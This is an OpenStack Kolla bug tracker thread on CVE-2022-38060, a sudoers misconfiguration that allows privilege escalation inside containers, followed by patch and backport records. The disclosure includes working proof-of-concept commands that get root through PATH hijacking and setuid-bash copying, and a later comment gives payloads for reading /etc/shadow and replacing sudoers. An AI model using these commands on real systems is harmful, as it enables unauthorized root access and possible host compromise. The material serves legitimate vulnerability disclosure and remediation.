sudo privilege escalation vulnerability (CVE-2022-38060)

Bug #1985784 reported by Jeremy Stanley
272
This bug affects 2 people
Affects Status Importance Assigned to Milestone
kolla
Fix Released
High
Radosław Piliszek
Ussuri
Triaged
High
Radosław Piliszek
Victoria
Triaged
High
Radosław Piliszek
Wallaby
Fix Released
High
Radosław Piliszek
Xena
Fix Released
High
Radosław Piliszek
Yoga
Fix Released
High
Radosław Piliszek
Zed
Fix Released
High
Radosław Piliszek

Bug Description

[OpenStack's vulnerability managers received the following report via encrypted E-mail]

### Summary

A privilege escalation vulnerability exists in the sudo functionality of OpenStack Kolla git master 05194e7618. A misconfiguration in /etc/sudoers within a container can lead increased privileges.

### Confirmed Vulnerable Versions

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenStack Kolla git master 05194e7618

### Product URLs

Kolla - https://opendev.org/openstack/kolla

### CVSSv3 Score

8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### CWE

CWE-269 - Improper Privilege Management

### Details

OpenStack Kolla provides container images and deployment tools for running OpenStack clouds with best practice configurations.

Several Kolla containers have sudoers policy to allow the application to run limited commands as root, which appears to be defined [here](https://opendev.org/openstack/kolla/src/branch/master/docker/base/sudoers):

    Matching Defaults entries for nova on <host>:
        setenv

    User nova may run the following commands on <host>:
        (root) NOPASSWD: /usr/local/bin/kolla_copy_cacerts
        (root) NOPASSWD: /usr/local/bin/kolla_set_configs
        ...

Of note is the `Defaults: %kolla setenv` line in /etc/sudoers. This allows users in the `kolla` group to modify environment variables, and there is no `secure_path` option that enforces a trusted PATH environment variable. Therefore, the unprivileged user (nova in this example) can change the PATH variable used by sudo, and run arbitrary commands as root when the Kolla scripts call external programs.

Specifically, there are two Kolla-provided scripts that are exploitable via this sudoers configuration.

The first script, [kolla_copy_cacerts](https://opendev.org/openstack/kolla/src/branch/master/docker/base/copy_cacerts.sh), calls out to the `update-ca-certificates` program, which is resolved from the PATH environment variable. This can be exploited by creating a script named "update-ca-certificates" in some writable location, and adding this location to the PATH before running `sudo -E kolla_copy_cacerts`.

The second script, [kolla_set_configs](https://opendev.org/openstack/kolla/src/branch/master/docker/base/set_configs.py), reads an environment variable for a JSON object or a path to a file containing a JSON object. This JSON specifies the source, destination, ownership, and permissions for OpenStack configuration files to be copied. This can be exploited by exporting an environment variable that specifies a program to be copied with its SETUID bit set, and running `kolla_set_configs` with `sudo -E` as above.

Some containers (e.g. nova_api) with this configuration are privileged, so in that case, root access inside the container may equate to root privilege on the container host itself.

### Exploit Proof of Concept

##### Method 1 (`kolla_copy_cacerts`)

Observe current privilege level in container:

    $ id
    uid=42436(nova) gid=42436(nova) groups=42437(nova),42400(kolla),42427(qemu)

Create a script payload that will be executed as root:

    $ echo -e '#!/bin/sh\nexec bash -p' > /tmp/update-ca-certificates
    $ chmod 755 /tmp/update-ca-certificates

Update the shell's PATH environment variable to include the directory that the payload is in, and run the affected script with `sudo`:

    $ PATH=/tmp:$PATH sudo -E /usr/local/bin/kolla_copy_cacerts
    # id
    uid=0(root) gid=0(root) groups=0(root)

##### Method 2 (`kolla_set_configs`)

Observe current privilege level in container:

    $ id
    uid=42436(nova) gid=42436(nova) groups=42437(nova),42400(kolla),42427(qemu)

Create a JSON object to be parsed by the script and export it to the appropriate environment variable:

    $ export KOLLA_CONFIG='{"command":"echo test", "config_files":[{"source":"/bin/bash", "dest":"/tmp/bash", "owner":"root", "perm":"0o6755"}]}'

Run the affected script with `sudo` and then execute the copied shell:

    $ sudo -E /usr/local/bin/kolla_set_configs
    $ /tmp/bash -p
    # id
    uid=0(root) gid=0(root) groups=0(root)

### Mitigation

/etc/sudoers within the container should use the `secure_path` option to prevent the PATH environment variable from being modified; however this will not prevent other possibly dangerous environment variables from being changed. Ideally, the `setenv` option would be removed from /etc/sudoers altogether, and `env_keep` could be used for any safe environment variables that do not introduce security holes.

To avoid container compromises resulting in host compromise, avoid using privileged containers; prefer adding individual capabilities as needed.

### Credit

   Keane O'Kelley and Brian Scott of Cisco ASIG

https://talosintelligence.com/vulnerability_reports/

CVE References

Revision history for this message
Jeremy Stanley (fungi) wrote :

I've subscribed the Cisco Talos account, at their request, as well as the OpenStack vulnerability managers and Kolla security reviewers groups.

Revision history for this message
Radosław Piliszek (yoctozepto) wrote :

I have no idea how to tackle the 2nd method of exploitation at sudo level as it falls within the expected usage of that command. Assuming we set the secure_path, it seems possible to strengthen the set_configs script to: 1) disallow installing files in secure_path, 2) disallow setuid perm from being set. Please let me know if my analysis is correct and complete.

Changed in kolla:
status: New → Triaged
importance: Undecided → High
assignee: nobody → Radosław Piliszek (yoctozepto)
tags: added: security
tags: added: sudo
Revision history for this message
Cisco Talos (ciscotalos) wrote : [Bug 1985784] Re: sudo privilege escalation vulnerability (CVE-2022-38060)
Download full text (9.1 KiB)

Yeah, the 2nd one is definitely a bit trickier. Assuming removing setenv is a viable partial solution for you, this should potentially mitigate it to some degree. You could also add filtering on the file modes the user is allowed to set as well as the destination and source paths allowed in the calls as this could also be used to read or write any number of files on the system to grant the user root access. I haven't tested either of these examples so I'm just basing it on my understanding of the issue. Also, notice that neither of these require the destination file to be suid so just filtering the permissions in the json wouldn't solve it. Also, notice that neither of these require the command to actually be executed and just that the files are copied into place.

# Read /etc/shadow
export KOLLA_CONFIG='{"command":"echo test", "config_files":[{"source":"/etc/shadow", "dest":"/tmp/shadow", "owner":"root", "perm":"0o0644"}]}'

# Overwrite sudoers with something more useful for the user
export KOLLA_CONFIG='{"command":"echo test", "config_files":[{"source":"/tmp/attacker.sudoers", "dest":"/etc/suders", "owner":"root", "perm":"0o0644"}]}'

>I have no idea how to tackle the 2nd method of exploitation at sudo
>level as it falls within the expected usage of that command. Assuming we
>set the secure_path, it seems possible to strengthen the set_configs
>script to: 1) disallow installing files in secure_path, 2) disallow
>setuid perm from being set. Please let me know if my analysis is correct
>and complete.
>
>** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-38060
>
>** Changed in: kolla
> Status: New => Triaged
>
>** Changed in: kolla
> Importance: Undecided => High
>
>** Changed in: kolla
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Also affects: kolla/xena
> Importance: Undecided
> Status: New
>
>** Also affects: kolla/victoria
> Importance: Undecided
> Status: New
>
>** Also affects: kolla/zed
> Importance: High
> Assignee: Radosław Piliszek (yoctozepto)
> Status: Triaged
>
>** Also affects: kolla/wallaby
> Importance: Undecided
> Status: New
>
>** Also affects: kolla/ussuri
> Importance: Undecided
> Status: New
>
>** Also affects: kolla/yoga
> Importance: Undecided
> Status: New
>
>** Changed in: kolla/yoga
> Status: New => Triaged
>
>** Changed in: kolla/xena
> Status: New => Triaged
>
>** Changed in: kolla/wallaby
> Status: New => Triaged
>
>** Changed in: kolla/victoria
> Status: New => Triaged
>
>** Changed in: kolla/ussuri
> Status: New => Triaged
>
>** Changed in: kolla/yoga
> Importance: Undecided => High
>
>** Changed in: kolla/xena
> Importance: Undecided => High
>
>** Changed in: kolla/wallaby
> Importance: Undecided => High
>
>** Changed in: kolla/victoria
> Importance: Undecided => High
>
>** Changed in: kolla/ussuri
> Importance: Undecided => High
>
>** Changed in: kolla/yoga
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/xena
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/wallaby
> Assignee: (unassigned)...

Read more...

Revision history for this message
Radosław Piliszek (yoctozepto) wrote :

Ack, thanks for confirming my view. All in all, I believe long-term we should ditch the set_configs.py for an out-of-band solution (after all, the container does not need to do it after the bootstrap).

Revision history for this message
Radosław Piliszek (yoctozepto) wrote :

I have prepared a patch that solves both the issues in fullest.
I tried playing with allow/disallow-listing but it was not going anywhere due to how kolla-ansible goes about using the config.json. Thus, I switched to stop using the environment variables that can be used in potential attacks. TBH, it seems they were there only to allow this attack. ;-)

Revision history for this message
Dr. Jens Harbott (j-harbott) wrote :

+2 that seems to be a good solution

Revision history for this message
Radosław Piliszek (yoctozepto) wrote :

Dear interested parties, as there has been no further activity on this bug, the patch is ready, proper and directly applicable to all supported branches, I will lift the embargo on this bug report in 24 h and publish the patch to Gerrit.

lock status: Metadata changes locked and limited to project staff
information type: Private Security → Public Security
lock status: Metadata changes unlocked
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to kolla (master)

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/kolla/+/856032

Changed in kolla:
status: Triaged → In Progress
Revision history for this message
Radosław Piliszek (yoctozepto) wrote :

The embargo has been lifted per the notice.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to kolla (master)

Reviewed: https://review.opendev.org/c/openstack/kolla/+/856032
Committed: https://opendev.org/openstack/kolla/commit/5b1da017988c987fc68b55d1f45b5d2676474ce1
Submitter: "Zuul (22348)"
Branch: master

commit 5b1da017988c987fc68b55d1f45b5d2676474ce1
Author: Radosław Piliszek <email address hidden>
Date: Mon Aug 29 09:55:59 2022 +0000

    Fix CVE-2022-38060

    Closes-Bug: #1985784
    Change-Id: I66476a2b396e2cbe41e68ac51f57aae1806b2ed8

Changed in kolla:
status: In Progress → Fix Released
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to kolla (stable/yoga)

Fix proposed to branch: stable/yoga
Review: https://review.opendev.org/c/openstack/kolla/+/855565

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to kolla (stable/xena)

Fix proposed to branch: stable/xena
Review: https://review.opendev.org/c/openstack/kolla/+/855566

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to kolla (stable/wallaby)

Fix proposed to branch: stable/wallaby
Review: https://review.opendev.org/c/openstack/kolla/+/855567

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to kolla (stable/wallaby)

Reviewed: https://review.opendev.org/c/openstack/kolla/+/855567
Committed: https://opendev.org/openstack/kolla/commit/5056b65bffd9ae180693800dfbf4fecbd6b20960
Submitter: "Zuul (22348)"
Branch: stable/wallaby

commit 5056b65bffd9ae180693800dfbf4fecbd6b20960
Author: Radosław Piliszek <email address hidden>
Date: Mon Aug 29 09:55:59 2022 +0000

    Fix CVE-2022-38060

    Closes-Bug: #1985784
    Change-Id: I66476a2b396e2cbe41e68ac51f57aae1806b2ed8
    (cherry picked from commit 5b1da017988c987fc68b55d1f45b5d2676474ce1)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to kolla (stable/yoga)

Reviewed: https://review.opendev.org/c/openstack/kolla/+/855565
Committed: https://opendev.org/openstack/kolla/commit/91c9a011f461aa818fc6f77fdff3323942f3c9da
Submitter: "Zuul (22348)"
Branch: stable/yoga

commit 91c9a011f461aa818fc6f77fdff3323942f3c9da
Author: Radosław Piliszek <email address hidden>
Date: Mon Aug 29 09:55:59 2022 +0000

    Fix CVE-2022-38060

    Closes-Bug: #1985784
    Change-Id: I66476a2b396e2cbe41e68ac51f57aae1806b2ed8
    (cherry picked from commit 5b1da017988c987fc68b55d1f45b5d2676474ce1)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to kolla (stable/xena)

Reviewed: https://review.opendev.org/c/openstack/kolla/+/855566
Committed: https://opendev.org/openstack/kolla/commit/1011fc60c333d9d2e6276ebdd20e952092ef49d8
Submitter: "Zuul (22348)"
Branch: stable/xena

commit 1011fc60c333d9d2e6276ebdd20e952092ef49d8
Author: Radosław Piliszek <email address hidden>
Date: Mon Aug 29 09:55:59 2022 +0000

    Fix CVE-2022-38060

    Closes-Bug: #1985784
    Change-Id: I66476a2b396e2cbe41e68ac51f57aae1806b2ed8
    (cherry picked from commit 5b1da017988c987fc68b55d1f45b5d2676474ce1)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/kolla 12.6.0

This issue was fixed in the openstack/kolla 12.6.0 release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/kolla 13.5.0

This issue was fixed in the openstack/kolla 13.5.0 release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/kolla 14.5.0

This issue was fixed in the openstack/kolla 14.5.0 release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to kolla (master)

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/kolla/+/860758

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to kolla (master)

Reviewed: https://review.opendev.org/c/openstack/kolla/+/860758
Committed: https://opendev.org/openstack/kolla/commit/b8a352647d57d35463e551a0d360c19fb2ad34c6
Submitter: "Zuul (22348)"
Branch: master

commit b8a352647d57d35463e551a0d360c19fb2ad34c6
Author: Maksim Malchuk <email address hidden>
Date: Sat Oct 8 01:29:02 2022 +0300

    Fix Swift deployment issue

    Swift deployment is broken since CVE-2022-38060 fixed sudoers file in
    the I66476a2b396e2cbe41e68ac51f57aae1806b2ed8. The kolla-toolbox
    container have their own virtualenv path differs from all other
    containers. This change adds the correct sudoers secure_path
    configuration needed only for kolla-toolbox conainer.

    Related-Bug: #1985784
    Change-Id: I3651576ee354364d639c187ff750491667ecab56
    Signed-off-by: Maksim Malchuk <email address hidden>

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to kolla (stable/yoga)

Related fix proposed to branch: stable/yoga
Review: https://review.opendev.org/c/openstack/kolla/+/860799

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to kolla (stable/xena)

Related fix proposed to branch: stable/xena
Review: https://review.opendev.org/c/openstack/kolla/+/860800

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to kolla (stable/wallaby)

Related fix proposed to branch: stable/wallaby
Review: https://review.opendev.org/c/openstack/kolla/+/860801

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to kolla (stable/wallaby)

Reviewed: https://review.opendev.org/c/openstack/kolla/+/860801
Committed: https://opendev.org/openstack/kolla/commit/3c0c7e31a3616f41bfac9ae8ae8c6ce453ae6b56
Submitter: "Zuul (22348)"
Branch: stable/wallaby

commit 3c0c7e31a3616f41bfac9ae8ae8c6ce453ae6b56
Author: Maksim Malchuk <email address hidden>
Date: Sat Oct 8 01:29:02 2022 +0300

    Fix Swift deployment issue

    Swift deployment is broken since CVE-2022-38060 fixed sudoers file in
    the I66476a2b396e2cbe41e68ac51f57aae1806b2ed8. The kolla-toolbox
    container have their own virtualenv path differs from all other
    containers. This change adds the correct sudoers secure_path
    configuration needed only for kolla-toolbox conainer.

    Related-Bug: #1985784
    Change-Id: I3651576ee354364d639c187ff750491667ecab56
    Signed-off-by: Maksim Malchuk <email address hidden>
    (cherry picked from commit b8a352647d57d35463e551a0d360c19fb2ad34c6)

tags: added: in-stable-wallaby
tags: added: in-stable-xena
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to kolla (stable/xena)

Reviewed: https://review.opendev.org/c/openstack/kolla/+/860800
Committed: https://opendev.org/openstack/kolla/commit/75a21a45d326c9f196b93113e55889fceb1fe92b
Submitter: "Zuul (22348)"
Branch: stable/xena

commit 75a21a45d326c9f196b93113e55889fceb1fe92b
Author: Maksim Malchuk <email address hidden>
Date: Sat Oct 8 01:29:02 2022 +0300

    Fix Swift deployment issue

    Swift deployment is broken since CVE-2022-38060 fixed sudoers file in
    the I66476a2b396e2cbe41e68ac51f57aae1806b2ed8. The kolla-toolbox
    container have their own virtualenv path differs from all other
    containers. This change adds the correct sudoers secure_path
    configuration needed only for kolla-toolbox conainer.

    Related-Bug: #1985784
    Change-Id: I3651576ee354364d639c187ff750491667ecab56
    Signed-off-by: Maksim Malchuk <email address hidden>
    (cherry picked from commit b8a352647d57d35463e551a0d360c19fb2ad34c6)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to kolla (stable/yoga)

Reviewed: https://review.opendev.org/c/openstack/kolla/+/860799
Committed: https://opendev.org/openstack/kolla/commit/420244f7f0850c1048b41b9b916d13114994bdcb
Submitter: "Zuul (22348)"
Branch: stable/yoga

commit 420244f7f0850c1048b41b9b916d13114994bdcb
Author: Maksim Malchuk <email address hidden>
Date: Sat Oct 8 01:29:02 2022 +0300

    Fix Swift deployment issue

    Swift deployment is broken since CVE-2022-38060 fixed sudoers file in
    the I66476a2b396e2cbe41e68ac51f57aae1806b2ed8. The kolla-toolbox
    container have their own virtualenv path differs from all other
    containers. This change adds the correct sudoers secure_path
    configuration needed only for kolla-toolbox conainer.

    Related-Bug: #1985784
    Change-Id: I3651576ee354364d639c187ff750491667ecab56
    Signed-off-by: Maksim Malchuk <email address hidden>
    (cherry picked from commit b8a352647d57d35463e551a0d360c19fb2ad34c6)

tags: added: in-stable-yoga
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/kolla 15.0.0.0rc1

This issue was fixed in the openstack/kolla 15.0.0.0rc1 release candidate.

To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.